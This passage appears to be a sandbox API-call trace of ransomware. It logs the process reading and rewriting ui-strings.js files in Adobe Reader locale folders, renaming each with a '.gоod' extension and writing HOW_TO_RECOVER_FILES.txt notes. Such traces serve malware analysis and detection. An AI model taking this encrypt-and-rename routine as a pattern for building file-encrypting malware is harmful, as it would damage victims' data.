dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\ui-strings.js.gоod")) returned 1 [0262.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0262.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0262.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0263.006] GetFileType (hFile=0x768) returned 0x1 [0263.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0263.006] GetFileType (hFile=0x768) returned 0x1 [0263.468] WriteFile (in: hFile=0x768, lpBuffer=0x3c5e948*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3c5e948*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0263.469] CloseHandle (hObject=0x768) returned 1 [0263.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0263.469] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es", lpFilePart=0x0) returned 0x76 [0263.469] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0263.469] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.470] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.470] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.470] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0263.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0263.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0263.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0263.470] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es", lpFilePart=0x0) returned 0x76 [0263.470] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0263.470] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.470] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.471] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.471] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0263.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0263.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0263.471] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0263.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0263.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3c6e820 | out: lpFileInformation=0x3c6e820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0263.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0263.471] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0263.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0263.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.472] GetFileType (hFile=0x768) returned 0x1 [0263.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0263.472] GetFileType (hFile=0x768) returned 0x1 [0263.472] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x470 [0263.472] ReadFile (in: hFile=0x768, lpBuffer=0x3c6f038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3c6f038*, lpNumberOfBytesRead=0x208ebf98*=0x470, lpOverlapped=0x0) returned 1 [0263.473] CloseHandle (hObject=0x768) returned 1 [0263.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0263.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0263.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.501] GetFileType (hFile=0x768) returned 0x1 [0263.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0263.501] GetFileType (hFile=0x768) returned 0x1 [0263.501] WriteFile (in: hFile=0x768, lpBuffer=0x3ce7b58*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3ce7b58*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0263.502] CloseHandle (hObject=0x768) returned 1 [0263.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0263.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0263.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0263.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x99457fea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0263.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0263.502] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0263.503] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0263.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0263.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0263.936] GetFileType (hFile=0x89c) returned 0x1 [0263.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0263.936] GetFileType (hFile=0x89c) returned 0x1 [0263.937] WriteFile (in: hFile=0x89c, lpBuffer=0x3ae8e28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3ae8e28*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0263.937] CloseHandle (hObject=0x89c) returned 1 [0263.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0263.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x76 [0263.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0263.939] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.939] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.939] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.939] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0263.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0263.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0263.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0263.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x76 [0263.939] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0263.939] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.940] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.940] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.940] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0263.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0263.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0263.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0263.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0263.940] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3af8d00 | out: lpFileInformation=0x3af8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b)) returned 1 [0263.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0263.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0263.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0263.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0263.941] GetFileType (hFile=0x89c) returned 0x1 [0263.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0263.941] GetFileType (hFile=0x89c) returned 0x1 [0263.941] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x48b [0263.941] ReadFile (in: hFile=0x89c, lpBuffer=0x3af9538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: 